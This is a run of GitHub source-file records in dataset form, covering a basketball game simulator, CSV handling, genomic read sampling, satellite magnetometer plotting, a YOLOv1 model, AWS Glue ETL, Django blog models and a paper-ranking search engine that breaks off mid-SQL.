Prefix.py","file_ext":"py","file_size_in_byte":2896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"72563541064","text":"import random\n\nclass Game:\n def __init__(self, teamA, teamB, extra=True):\n self.teamA = teamA\n self.teamB = teamB\n self.extra = extra\n if (teamA != None and teamB != None):\n self.teamAHOS, self.teamBHOS = self.getNormalHardness()\n\n def play(self):\n if (self.teamA == None):\n # print(self.teamB.name + \" won the Game.\")\n return self.teamB\n if (self.teamB == None):\n # print(self.teamA.name + \" won the Game.\")\n return self.teamA\n\n scores = self.getScores()\n # print(self.teamA.name, scores[0], self.teamB.name, scores[1])\n if scores[0] > scores[1]:\n print(self.teamA.name + \" won the Game.\")\n return self.teamA\n else:\n print(self.teamB.name + \" won the Game.\")\n return self.teamB\n\n def getScores(self):\n bOpponents = self.teamB.opponents\n aOpponents = self.teamA.opponents\n similar = []\n for i in bOpponents:\n if i in aOpponents:\n if i not in similar:\n similar += [i]\n aSimPoints = 0\n bSimPoints = 0\n for i in similar:\n aSimPoints += self.teamA.getResult(i)\n bSimPoints += self.teamB.getResult(i)\n if (self.teamA.name in bOpponents):\n aSimPoints += self.teamA.getResult(self.teamB.name)\n bSimPoints += self.teamB.getResult(self.teamA.name)\n aStats = 0\n bStats = 0\n\n for key in self.teamA.stats.keys():\n if (key == \"Scoring Offense\"):\n aStats += (((float(self.teamA.stats[key][\"value\"]) - 88.8) * -1) + 100) * 1.8\n bStats += (((float(self.teamB.stats[key][\"value\"]) - 88.8) * -1) + 100) * 1.8\n if (key == \"Scoring Defense\"):\n aStats += (((float(self.teamA.stats[key][\"value\"]) - 55.1) * -1) + 100) * 1.7\n bStats += (((float(self.teamB.stats[key][\"value\"]) - 55.1) * -1) + 100) * 1.7\n if (key == \"Turnover Margin\"):\n aStats += (((float(self.teamA.stats[key][\"value\"]) - 5.8) * -1) + 100) * 1.5\n bStats += (((float(self.teamB.stats[key][\"value\"]) - 5.8) * -1) + 100) * 1.5\n if (key == \"Assist Turnover Ratio\"):\n aStats += (((float(self.teamA.stats[key][\"value\"]) - 1.76) * -1) + 100) * 2\n bStats += ((float(self.teamB.stats[key][\"value\"]) - 1.76) * -1) + 100 * 2\n if (key == \"Field-Goal Percentage\"):\n aStats += (((float(self.teamA.stats[key][\"value\"]) - 53.2)*-1) + 100) * 2\n bStats += (((float(self.teamB.stats[key][\"value\"]) - 53.2)*-1) + 100) * 2\n if (key == \"Field-Goal Percentage Defense\"):\n aStats += (((float(self.teamA.stats[key][\"value\"]) - 36.7) * -1) + 100) * 2\n bStats += (((float(self.teamB.stats[key][\"value\"]) - 36.7) * -1) + 100) * 2\n if (key == \"Three-Point Field-Goal Percentage\"):\n aStats += float(self.teamA.stats[key][\"value\"]) * (float(self.teamA.stats[\"Three-Point Field Goals Per Game\"][\"value\"])/4) * 1.5\n bStats += float(self.teamB.stats[key][\"value\"]) * (float(self.teamB.stats[\"Three-Point Field Goals Per Game\"][\"value\"])/4) * 1.5\n\n aNormHard = aStats * (1/(self.teamAHOS * 2.5)) * 1000\n bNormHard = bStats * (1/(self.teamBHOS * 2.5)) * 1000\n if (self.extra):\n print(self.teamA.name, aStats, self.teamAHOS)\n print(self.teamB.name, bStats, self.teamBHOS)\n if (self.extra):\n print(self.teamA.name)\n aFinal = self.linearCombo(aSimPoints,aNormHard)\n if (self.extra):\n print(self.teamB.name)\n bFinal = self.linearCombo(bSimPoints,bNormHard)\n return aFinal, bFinal\n\n\n def getNormalHardness(self):\n teamAHardness = self.teamA.HOS\n teamBHardness = self.teamB.HOS\n totA = self.teamA.totGames\n totB = self.teamB.totGames\n avgA = teamAHardness/totA\n avgB = teamBHardness/totB\n if totA>totB:\n while(totA>totB):\n teamAHardness = teamAHardness - avgA\n totA = totA - 1\n if totB>totA:\n while(totB>totA):\n teamBHardness = teamBHardness - avgB\n totB = totB - 1\n return teamAHardness, teamBHardness\n\n def linearCombo(self, sim, stat):\n varChangeStat = (random.randint(-10,10)/100) + 1\n varChangeSim = (random.randint(-5,5)/100) + 1\n result = varChangeSim*sim + varChangeStat*stat\n if (self.extra):\n print(sim, \"*\", varChangeSim, \"+\", stat, \"*\", varChangeStat, \"=\", result)\n return result\n","repo_name":"bdeckey/MarchMadness","sub_path":"Game.py","file_name":"Game.py","file_ext":"py","file_size_in_byte":4723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"26155055187","text":"\n#!/usr/bin/python3\n#python3使用csv模块读写csv文件\n\nimport csv\n\n#案例1:输出数据写入CSV文件\ndata = [\n (\"Mike\", \"male\", 24),\n (\"Lee\", \"male\", 26),\n (\"Joy\", \"female\", 22)\n]\n\n# data1 = [[x] for x in range(10) if x % 2 == 0]\ndata2 = ['测试','w','我是中文'] #字符间以,分割\n\n#打开文件并设置模式用with打开可以不用去特意关闭file了\n#Python3.4以后的新方式,解决空行问题\nwith open('demo.csv','w+',newline='',encoding='utf-8') as csvfile:\n # dialect为打开csv文件的方式,默认是excel,delimiter=\"\\t\"参数指写入的时候的分隔符\n csvwriter = csv.writer(csvfile,dialect=(\"excel\"))\n for each in data:\n print(\">>>\",each)\n csvwriter.writerow(each)\n\n csvwriter.writerow(data2) #'测试','w','我是中文' 追加一行\n\n\n#案例2:打开csv文件读取数据\nwith open('demo.csv','r+',encoding='utf-8') as f:\n res = csv.reader(f)\n for x in res:\n print(x[0])","repo_name":"WeiyiGeek/Study-Promgram","sub_path":"Python3/Day6/demo6.1.py","file_name":"demo6.1.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"81"} +{"seq_id":"36070185195","text":"from Bio.Seq import Seq\nfrom Bio.Alphabet import generic_dna\nfrom Bio import SeqIO\nfrom Bio import SearchIO\nfrom Bio.SeqRecord import SeqRecord\n\nimport random\nrandom.seed(123)\n\n\ndef load_fasta(filename):\n records = SeqIO.to_dict(SeqIO.parse(filename, \"fasta\"))\n return records\n\ndef save_fasta(filename, orfs):\n with open(filename + \".fasta\", \"w\") as output_handle:\n SeqIO.write(orfs, output_handle, \"fasta\")\n\ndef load_lst(filename):\n reads = []\n with open(filename, \"r\") as fin:\n for ln in fin.readlines():\n reads.append(ln.strip().split()[-1])\n return reads\n\ndef load_chrX_alns(filename, n):\n reads = []\n total_len = 0\n reads_set = {}\n with open(filename, \"r\") as fin:\n for ln in fin.readlines():\n q_name, q_len, q_start, q_end = ln.strip().split(\"\\t\")[:4]\n matches, total_len2 = map(int, ln.strip().split(\"\\t\")[9: 11])\n if int(q_end) - int(q_start) > 0.9*int(q_len) and int(q_len) > 20000 and matches/total_len2 > 0.8:\n reads_set[q_name] = int(q_len)\n total_len += int(q_len)\n #print(q_name)\n print(total_len)\n aligned_len = 0\n false_read_names = random.sample(list(reads_set.keys()), n)\n for name in false_read_names:\n aligned_len += reads_set[name]\n print(aligned_len)\n for name in false_read_names:\n print(name)\n return reads\n\ncenX_names = load_lst(\"/Sid/tdvorkina/monomers/new_monomers/params/cenX_reads.lst\")\ncenX_reads = load_fasta(\"/Sid/tdvorkina/monomers/chrX/centromeric_reads.fasta\")\n\nnum = 1000\ntrue_read_names = random.sample(cenX_names, num)\ntrue_reads = []\ntrue_reads_len = 0\nfor name in true_read_names:\n name_prefix = name[:10]\n for r in cenX_reads:\n if r.startswith(name_prefix):\n new_name = r\n break\n if len(cenX_reads[new_name]) > 10000:\n true_reads.append(cenX_reads[new_name])\n true_reads_len += len(cenX_reads[new_name])\n\nsave_fasta(\"/Sid/tdvorkina/monomers/new_monomers/params/ont_true_reads\", true_reads)\nprint(\"CenX reads length \", true_reads_len)\n\nchrX_reads = load_fasta(\"/Sid/tdvorkina/monomers/new_monomers/rel3.fasta\")\nchrX_names = load_chrX_alns(\"/Sid/tdvorkina/monomers/new_monomers/output_rel3.paf\", num)\nprint(len(chrX_names))\n\n\n","repo_name":"TanyaDvorkina/sdpaper","sub_path":"scripts/parameter_tuning/generate_sets_for_params_tuning.py","file_name":"generate_sets_for_params_tuning.py","file_ext":"py","file_size_in_byte":2292,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"6189584492","text":"import os\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport datetime as dt\nfrom typing import List\n\ndef get_paraCSV(filename: str) -> pd.DataFrame:\n \"\"\"This function reads fgm parameters from csv file\"\"\"\n try:\n df = pd.read_csv(filename)\n df['start_time_datetime'] = list(map(lambda ts: dt.datetime.strptime(ts, \"%Y-%m-%d/%H:%M:%S\"), df['start_time']))\n df['end_time_datetime'] = list(map(lambda ts: dt.datetime.strptime(ts, \"%Y-%m-%d/%H:%M:%S\"), df['end_time']))\n \n return df\n except:\n print(f\"{filename} can't be loaded!\")\n return\n\n\ndef getFileList(foldername: str, mission: str, start_time_str: str, end_time_str: str) -> List[str]:\n \"\"\"Get the file list according to start and end time\"\"\"\n filenames = os.listdir(foldername)\n datetime_format = '%Y-%m-%d_%H%M'\n filename_select = []\n start_time = dt.datetime.strptime(start_time_str, \"%Y-%m-%d\")\n end_time = dt.datetime.strptime(end_time_str, \"%Y-%m-%d\")\n for filename in filenames:\n if filename.endswith(f\"{mission}_Gthphi.csv\"):\n datetime_str = filename.split('_')[0] + '_' + filename.split('_')[1]\n datetime = dt.datetime.strptime(datetime_str, datetime_format)\n filename_select.append(filename) if datetime > start_time and datetime < end_time else []\n \n return filename_select\n\n\n\ndef plot_beta_Gain(beta_df: pd.DataFrame):\n\n fig, (ax1, ax2, ax3) = plt.subplots(3,1, figsize=(10, 8))\n ax1.scatter(beta_df['beta_ang'], beta_df['G1'])\n ax2.scatter(beta_df['beta_ang'], beta_df['G2'])\n ax3.scatter(beta_df['beta_ang'], beta_df['G3'])\n ax1.set_ylabel(\"G1\")\n ax1.set_ylim([0, 300])\n ax2.set_ylabel(\"G2\")\n ax2.set_ylim([0, 300])\n ax3.set_xlabel(\"beta angle (deg)\")\n ax3.set_ylabel(\"G3\")\n ax3.set_ylim([0, 200])\n ax1.set_title(\"fgm Gain and beta angle\")\n\n plt.show()\n\n\ndef plot_beta_th(beta_df: pd.DataFrame):\n\n fig, (ax1, ax2, ax3) = plt.subplots(3,1, figsize=(10, 8))\n ax1.scatter(beta_df['beta_ang'], beta_df['th1'])\n ax2.scatter(beta_df['beta_ang'], beta_df['th2'])\n ax3.scatter(beta_df['beta_ang'], beta_df['th3'])\n ax1.set_ylabel(\"th1\")\n ax1.set_ylim([50, 110])\n ax2.set_ylabel(\"th2\")\n ax2.set_ylim([50, 110])\n ax3.set_xlabel(\"beta angle (deg)\")\n ax3.set_ylabel(\"th2\")\n ax3.set_ylim([-20, 120])\n ax1.set_title(\"fgm theta and beta angle\")\n\n plt.show()\n\n\ndef plot_beta_ph(beta_df: pd.DataFrame):\n\n fig, (ax1, ax2, ax3) = plt.subplots(3,1, figsize=(10, 8))\n ax1.scatter(beta_df['beta_ang'], beta_df['ph1'])\n ax2.scatter(beta_df['beta_ang'], beta_df['ph2'])\n ax3.scatter(beta_df['beta_ang'], beta_df['ph3'])\n ax1.set_ylabel(\"ph1\")\n ax1.set_ylim([-100, 100])\n ax2.set_ylabel(\"ph2\")\n ax2.set_ylim([-110, 110])\n ax3.set_xlabel(\"beta angle (deg)\")\n ax3.set_ylabel(\"ph3\")\n ax3.set_ylim([-120, 0])\n ax1.set_title(\"fgm phi and beta angle\")\n\n plt.show() \n\n\ndef plot_beta_offset(beta_df: pd.DataFrame):\n\n fig, (ax1, ax2, ax3) = plt.subplots(3,1, figsize=(10, 8))\n ax1.scatter(beta_df['beta_ang'], beta_df['O1/G1'])\n ax2.scatter(beta_df['beta_ang'], beta_df['O2/G2'])\n ax3.scatter(beta_df['beta_ang'], beta_df['O3/G3'])\n ax1.set_ylabel(\"O1/G1\")\n ax1.set_ylim([-10000, 10000])\n ax2.set_ylabel(\"O2/G2\")\n ax2.set_ylim([-10000, 10000])\n ax3.set_xlabel(\"beta angle (deg)\")\n ax3.set_ylabel(\"O3/G3\")\n ax3.set_ylim([-5000, 5000])\n ax1.set_title(\"fgm offset and beta angle\")\n\n plt.show() \n\n\nif __name__ == \"__main__\":\n mission = \"elb\"\n foldername = \"parameters\"\n start_time_str = \"2021-12-16\"\n end_time_str = \"2022-06-26\"\n filenames = getFileList(foldername, mission, start_time_str, end_time_str)\n dfs = [get_paraCSV(os.path.join(foldername, filename)) for filename in filenames]\n beta_df = pd.concat(dfs, ignore_index=True)\n\n plot_beta_Gain(beta_df)\n plot_beta_th(beta_df)\n plot_beta_ph(beta_df)\n plot_beta_offset(beta_df)\n \n\n","repo_name":"jiashuwu89/elfin_fgm_plot","sub_path":"plot_parameter.py","file_name":"plot_parameter.py","file_ext":"py","file_size_in_byte":3995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"37615084646","text":"import torch\nimport torch.nn as nn\n\n'''\neach line means...\n # Tuple: Conv layer (kernel_size, output_channel, stride, padding)\n # \"M\": Maxpool layer\n # List: Conv layer repeats [(Conv_layer), (Conv_layer), ..., 반복횟수 ] 즉, 반복되는 블록 묶은것\n'''\narchitecture_config = [\n (7, 64, 2, 3),\n \"M\",\n (3, 192, 1, 1),\n \"M\",\n \n (1, 128, 1, 0),\n (3, 256, 1, 1),\n (1, 256, 1, 0),\n (3, 512, 1, 1),\n \"M\",\n \n [(1, 256, 1, 0), (3, 512, 1, 1), 4],\n (1, 512, 1, 0),\n (3, 1024, 1, 1),\n \"M\",\n \n [(1, 512, 1, 0), (3, 1024, 1, 1), 2],\n (3, 1024, 1, 1),\n (3, 1024, 2, 1),\n \n (3, 1024, 1, 1),\n (3, 1024, 1, 1),\n]\n\n\nclass CNNBlock(nn.Module): # 여러 번 사용할 예정\n \n def __init__(self, in_channels, out_channels, **kwargs): # keyword argument 사용할 에정\n super(CNNBlock, self).__init__()\n \n # bias=False 이유: batch norm 사용할 것이기 때문 (참고: 논문 게재 당시에는 batch norm이 도입되지 않음)\n self.conv = nn.Conv2d(in_channels, out_channels, bias=False, **kwargs)\n self.batchnorm = nn.BatchNorm2d(out_channels)\n self.leakyrelu = nn.LeakyReLU(0.1) # 0.1: 학습률, 기울기 의미\n \n def forward(self, x):\n return self.leakyrelu(self.batchnorm(self.conv(x)))\n \nclass YOLOv1(nn.Module):\n def __init__(self, in_channels=3, **kwargs):\n super(YOLOv1, self).__init__()\n \n self.architecture = architecture_config\n self.in_channels = in_channels\n self.darknet = self._create_conv_layers(self.architecture)\n self.fcs = self._create_fcs(**kwargs)\n \n def forward(self, x):\n x = self.darknet(x)\n return self.fcs(torch.flatten(x, start_dim=1))\n \n # 여기서 darknet 만들거임\n def _create_conv_layers(self, architecture):\n layers = [] # layer list 받을 예정\n in_channels = self.in_channels\n \n # 여기서 레이어 하나씩 만들어줌\n for x in architecture:\n if type(x) == tuple:\n layers += [\n CNNBlock(\n in_channels, out_channels=x[1], kernel_size=x[0], stride=x[2], padding=x[3]),\n ]\n in_channels = x[1]\n \n elif type(x) == str:\n layers += [nn.MaxPool2d(kernel_size=2, stride=2)]\n elif type(x) == list:\n \n # 리스트 예시: [(1, 512, 1, 0), (3, 1024, 1, 1), 2]\n \n # 강연자 방법\n conv1 = x[0]\n conv2 = x[1]\n num_repeats = x[2]\n for _ in range(num_repeats):\n layers += [CNNBlock(in_channels, conv1[1], kernel_size=conv1[0], stride=conv1[2], padding=conv1[3]), ]\n layers += [CNNBlock(conv1[1], conv2[1], kernel_size=conv2[0], stride=conv2[2], padding=conv2[3]), ]\n \n in_channels = conv2[1]\n \n # 내 방법\n # num_repeats = x[-1]\n # for _ in range(num_repeats):\n # for sub_x in x[:-1]:\n # layers += [ CNNBlock(in_channels, sub_x[1], kernel_size=sub_x[0], stride=sub_x[2], padding=sub_x[3]), ]\n # in_channels = sub_x[0]\n \n return nn.Sequential(*layers) # list 형태로 반환 (이를 unpack 상태로 반환 -> 추후 할당 받는 곳에서 nn.Sequential 형태로 변환함\n \n def _create_fcs(self, split_size, num_boxes, num_classes):\n S, B, C = split_size, num_boxes, num_classes\n return nn.Sequential(\n nn.Flatten(),\n nn.Linear(1024 * S * S, 496), # 논문에서는 out_features=4096\n nn.Dropout(0.0),\n nn.LeakyReLU(0.1),\n nn.Linear(496, S * S * (C + B * 5)), # (S, S, 30)\n )\n \n \ndef test(S=7, B=2, C=20):\n model = YOLOv1(split_size=S, num_boxes=B, num_classes=C)\n x = torch.randn(size=(2, 3, 448, 448))\n print(model(x).shape)\n \ntest()","repo_name":"wondrive/practice","sub_path":"yolov1/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"23049942455","text":"ad = pd.read_csv(\"/home/shaury/Downloads/nptel/Admission.csv\")\nad= ad.dropna()\nimport numpy as np\nad1=np.array(ad)\nimport matplotlib.pyplot as plt\nfor i in range(1, 7):\n plt.subplot(2, 3, i)\n plt.scatter(ad1[:,7],ad1[:,i-1])\n plt.title(i-1)\nplt.show()\nfrom sklearn import linear_model\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import r2_score,mean_squared_error\n\nmlr = linear_model.LinearRegression()\n\nx,y = np.array(ad[[\"GRE_Score\",\"TOEFL_Score\",\"University_Rating\",\"CGPA\",\"Research\"]]),np.array(ad[\"Chance_of_Admit \"])\nadx_train,adx_test,ady_train,ady_test=train_test_split(x,y,test_size=0.2)\n\n\nfrom sklearn.metrics import classification_report as c_r\nmlr.fit(adx_train,ady_train)\ny_pred = mlr.predict(adx_test)\n#print(c_r(ady_test, y_pred))\nr2_score(y_pred,ady_test)\n","repo_name":"shaurysrivastav27/DATA-ANALYTICS","sub_path":"PYTHON/chance of admission/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"81"} +{"seq_id":"5999662595","text":"def list_manipulator(list_of_numbers, *others):\n numbers = list_of_numbers\n\n if others[0] == 'remove':\n if others[1] == 'beginning':\n if len(others) < 3:\n numbers.pop(0)\n else:\n for x in range(others[2]):\n numbers.pop(0)\n else:\n if len(others) < 3:\n numbers.pop()\n else:\n for x in range(others[2]):\n numbers.pop()\n else:\n manipulation = list(others[2:])\n if others[1] == 'beginning':\n numbers = manipulation + numbers\n else:\n numbers += manipulation\n return numbers","repo_name":"HarkTu/Coding-Education","sub_path":"SoftUni.bg/Python Advanced/June 2020/ListManipulator.py","file_name":"ListManipulator.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"39795856795","text":"import sys\nfrom awsglue.transforms import *\nfrom awsglue.utils import getResolvedOptions\nfrom pyspark.context import SparkContext\nfrom awsglue.context import GlueContext\nfrom awsglue.job import Job\nfrom awsglue.dynamicframe import DynamicFrame\n\n# Extra import to get the current_date function\nfrom pyspark.sql.functions import *\n\nargs = getResolvedOptions(sys.argv, ['TempDir','JOB_NAME'])\n\nsc = SparkContext()\nglueContext = GlueContext(sc)\nspark = glueContext.spark_session\njob = Job(glueContext)\njob.init(args['JOB_NAME'], args)\n\nDataSource0 = glueContext.create_dynamic_frame.from_catalog(database = \"s3_database\", table_name = \"output\", transformation_ctx = \"DataSource0\")\n\n# The 2 extra lines below convert between the \n# original Glue Dataframe to a Spark Dataframe, add the new column\n# then convert back again to a Glue Dataframe\n# \ndf=DataSource0.toDF().withColumn(\"invoicedate\",to_timestamp(col(\"invoicedate\"))).withColumn(\"year\", date_format(col(\"invoicedate\"), \"Y\")).withColumn(\"month\", date_format(col(\"invoicedate\"), \"MMMMM\")).withColumn(\"week_of_month\", date_format(col(\"invoicedate\"), \"w\")).withColumn(\"day\", date_format(col(\"invoicedate\"), \"EEEE\")).withColumn('quarter',quarter(col(\"invoicedate\")))\n\n# withColumn(\"quarter\", date_format(col(\"invoicedate\"), \"Q\"))\n\nDataSource0 = DynamicFrame.fromDF(df, glueContext, \"DataSource0\") \n\nApply_Mapping = ApplyMapping.apply(frame = DataSource0, \n\tmappings = [(\"unique_id\", \"long\", \"unique_id\", \"long\"), \n\t\t\t\t(\"invoiceno\", \"string\", \"invoiceno\", \"string\"), \n\t\t\t\t(\"stockcode\", \"string\", \"stockcode\", \"string\"), \n\t\t\t\t(\"description\", \"string\", \"description\", \"string\"), \n\t\t\t\t(\"quantity\", \"long\", \"quantity\", \"long\"), \n\t\t\t\t(\"invoicedate\", \"string\", \"invoicedate\", \"timestamp\"),\n\t\t\t\t(\"year\", \"long\", \"year\", \"long\"),\n\t\t\t\t(\"month\", \"string\", \"month\", \"string\"),\n\t\t\t\t(\"week_of_month\", \"long\", \"week_of_month\", \"long\"),\n\t\t\t\t(\"day\", \"string\", \"day\", \"string\"),\n\t\t\t\t(\"quarter\", \"long\", \"quarter\", \"long\"),\n\t\t\t\t(\"unitprice\", \"double\", \"unitprice\", \"double\"), \n\t\t\t\t(\"customerid\", \"long\", \"customerid\", \"long\"), \n\t\t\t\t(\"country\", \"string\", \"country\", \"string\")], \n\t\t\t\ttransformation_ctx = \"Apply_Mapping\")\nresolvechoice = ResolveChoice.apply(frame = Apply_Mapping, choice = \"make_cols\", transformation_ctx = \"resolvechoice\") \nDataSink0 = glueContext.write_dynamic_frame.from_catalog(frame = resolvechoice, database = \"redshift_database\", redshift_tmp_dir = args[\"TempDir\"], table_name = \"dw_ecommerce_public_uk_ecommerce\", transformation_ctx = \"DataSink0\", additional_options = {\"aws_iam_role\":\"arn:aws:iam::221276599729:role/S3_Glue_Redshift_Cluster_Authorisation\"})\n\njob.commit()\n \n","repo_name":"Shreshth-Rathod/Data-Engineering","sub_path":"s3_redshift.py","file_name":"s3_redshift.py","file_ext":"py","file_size_in_byte":2628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"11203688087","text":"import Tkinter\nfrom Tkinter import *\n\nstate = ''\nbuttons = []\n\ndef choose(i):\n\tglobal state\n\tstate = i\n\tfor btn in buttons:\n\t\tbtn.deselect()\n\tbuttons[i].select()\n\nroot = Tk()\nfor i in range(4):\n\tradio = Radiobutton(root, text=str(i), value=str(i), command=(lambda i=i: choose(i)) )\n\tradio.pack(side=BOTTOM)\n\tbuttons.append(radio)\n\nroot.mainloop()\nprint(\"You chose the following number : \",state)\n","repo_name":"TheFaro/DataAnalysis","sub_path":"Practice/myRadio.py","file_name":"myRadio.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"37015225230","text":"from django.db import models\nfrom django.template.defaultfilters import slugify\n\n\nclass Blog(models.Model):\n class PostSituation(models.TextChoices):\n DRAFT = 'D', 'Rascunho'\n PUBLISHED = 'P', 'Publicado'\n\n title = models.CharField(\n \"Título\",\n max_length=50\n )\n author = models.ForeignKey(\n \"Author\",\n on_delete=models.CASCADE\n )\n body = models.TextField(\n \"Texto do Post\",\n null=True, blank=True\n )\n publish = models.DateTimeField(\n \"Publicação criada\",\n auto_now_add=True\n )\n created = models.DateTimeField(\n auto_now_add=True\n )\n updated = models.DateTimeField(\n auto_now=True\n )\n status = models.CharField(\n \"Status da Publicação\",\n max_length=1,\n choices=PostSituation.choices,\n default=PostSituation.DRAFT\n )\n\n def slug(self):\n return slugify(self.title)\n\n def __str__(self):\n return self.title\n\n class Meta:\n verbose_name = \"Blog\"\n verbose_name_plural = \"Blogs\"\n\n\nclass Author(models.Model):\n name = models.CharField(\n \"Nome do autor\",\n max_length=50\n )\n\n def __str__(self):\n return self.name\n\n class Meta:\n verbose_name = \"Autor\"\n verbose_name_plural = \"Autores\"\n","repo_name":"communitydevpro/blog","sub_path":"blog_project/blog/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"20935688362","text":"#!/usr/bin/env python3\n\n# NOTE: this example requires PyAudio because it uses the Microphone class\n\nimport pyautogui as pygui\nimport time, PIL.ImageGrab, PIL.ImageOps, numpy\n\nclass Bot:\n\n def __init__(self):\n self.pyauto = pygui\n self.np = numpy\n self.grabimg = PIL\n self.coods=(643,431)\n self.obstacle=(430,460)\n \n def reply(self):\n time.sleep(3)\n auto = self.pyauto\n auto.click(self.coods)\n \n def grab_image(self):\n np = self.np\n \n grabber = self.grabimg\n front_box = (self.coods[0], self.coods[1], self.coods[0]+223,self.coods[1]+29)\n imgObj = grabber.ImageGrab.grab(front_box)\n cvt_gray = grabber.ImageOps.grayscale(imgObj)\n arr = np.array(cvt_gray)\n return arr.sum()\n\n\n def press_space(self):\n \n \n\n # listener = dina_bot.AI()\n\n\n a = self.pyauto\n img = self.grabimg\n\n\n\n\n for f in a.KEYBOARD_KEYS:\n print(f)\n # listener.listen()\n while True :\n shot = a.screenshot(imageFilename=\"screenshot.jpg\", region=(0,0,623,185))\n\n print(\"[+] Image Object: \", shot)\n a.press('space')\n print(\"[+] Pressed Key: Space\")\n\n\n\n\n\n \nmy_bot = Bot()\nmy_bot.press_space()\n\n\n","repo_name":"sharmacloud/chrome_bot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"36537449035","text":"from .utils import gen_sql_in_tup, drop_table\nimport mysql.connector\n\nclass PaperSearchEngine:\n def __init__(self, db):\n self.db = db\n\n def get_relevant_papers(self, keywords: tuple, search_limit):\n \"\"\"\n Finds top papers that match a set of query keywords and returns them as a list,\n sorted in descending order by match scores\n\n Arguments:\n - cur: db cursor\n - keywords: a tuple of keywords in our search query\n - search_limit: an integer specifying the number of top publication matches to return\n\n Returns:\n - A list of tuples representing our search results. Every tuple following the format (paper_id, match_score)\n \"\"\"\n fields_in_sql = gen_sql_in_tup(len(keywords))\n get_ids_sql = 'SELECT id FROM FoS where keyword IN ' + fields_in_sql + ';'\n\n with self.db.cursor() as cur:\n cur.execute(get_ids_sql, keywords)\n result = cur.fetchall()\n keyword_ids = tuple(row_tuple[0] for row_tuple in result)\n\n return self.get_relevant_papers_by_id(keyword_ids, search_limit)\n\n def get_relevant_papers_by_id(self, keyword_ids: tuple, search_limit):\n \"\"\"\n Finds top papers that match a set of query keywords and returns them as a list,\n sorted in descending order by match scores\n\n Arguments:\n - cur: db cursor\n - keywords: a tuple of keyword ids corresponding to keywords in our search query\n - search_limit: an integer specifying the number of top publication matches to return\n\n Returns:\n - A list of tuples representing our search results. Every tuple following the format \n (paper_id, title, abstract, match_score)\n \"\"\"\n with self.db.cursor() as cur:\n self._store_keywords(cur, keyword_ids)\n return self._get_ranked_publications(cur)[:search_limit]\n\n def compute_match_score(self, paper_id, keyword_id):\n sql = \"\"\"\n SELECT score\n FROM Publication_FoS\n WHERE Publication_id = (%s) AND FoS_id = (%s)\n \"\"\"\n with self.db.cursor() as cur:\n cur.execute(sql, (paper_id, keyword_id))\n return cur.fetchone()[0]\n\n def _get_ranked_publications(self, cur):\n \"\"\"\n Computes keyword match scores for every publication and returns a list of publications\n sorted in decreasing order of match score. \n Requires Top_Keywords table to exist, which is created by _store_keywords method\n\n Arguments:\n - cur: db cursor\n - search_limit: an integer specifying the number of top publication matches to return\n\n Returns: A ranked list of tuples representing matched papers and their corresponding match score.\n The list uses the following schema:\n [(id_1, title_1, absract_1, paper_score_1), (id_2, title_2, abstract_2 ,paper_score_2), ...]\n\n Each publication has an associated score for each input keyword.\n The score between an input keyword and a paper is computed by determining if \n there is any match between the top ten similar keywords for the input keyword \n and the paper's keyword assignments (see assign_paper_kwds.py for details on\n how keywords are assigned to papers). The final score between a keyword and\n a publication is the product of similairty of the keyword to the publication\n and the npmi score describing the similarity of the keyword to the input keyword.\n This product is store as max_score.\n\n The total_score for a paper is the sum of max_scores for every keyword in the input query.\n The final score for a paper (paper_score) is computed as total_score * citation.\n \"\"\"\n\n # Some keywords are never paired with publications in assign_paper_kwds.py\n # Thus, some similar keywords are matched with NULL publication rows\n # To fix this, we use an INNER JOIN when finding joining with Publication_FoS\n drop_table(cur, \"Publication_Rank_Scores\")\n get_ranked_publications_sql = \"\"\"\n SELECT Publication_id, title, abstract, SUM(max_score) * (citations + 1) as total_score\n FROM\n (\n SELECT parent_id, Publication_id, MAX(npmi * score) as max_score\n\n FROM Top_Keywords\n JOIN Publication_FoS ON id = Publication_FoS.FoS_id\n\n GROUP BY parent_id, Publication_id\n ) as keyword_paper_score\n LEFT JOIN Publication on Publication_id = Publication.id\n GROUP BY Publication_id\n ORDER BY total_score DESC\n \"\"\"\n cur.execute(get_ranked_publications_sql)\n return cur.fetchall()\n\n \n def _store_keywords(self, cur, keyword_ids: tuple):\n \"\"\"\n Stores top 10 similar keywords for each input keyword\n\n Arguments:\n - keyword_ids: list of ids of input keywords\n - cur: db cursor\n\n Returns: None. Each entry in Top_Keywords table is of the form (parent_id, keyword_id, npmi).\n - parent_id: id of the original input keyword\n - keyword_id: id of similar keyword\n - npmi is a similarity score between the two keywords\n Note: the identity row for each keyword_id is included by default with\n similarity score 1 (i.e. for each kw_id in keywords_ids, there will be a\n row in Top_Keywords of (kw_id, kw_id, 1))\n \"\"\"\n fields_in_sql = gen_sql_in_tup(len(keyword_ids))\n\n drop_table(cur, \"Top_Keywords\")\n get_related_keywords_sql = \"\"\"\n \n CREATE TABLE Top_Keywords (\n parent_id INT,\n id INT,\n npmi DOUBLE,\n PRIMARY KEY(parent_id, id)\n 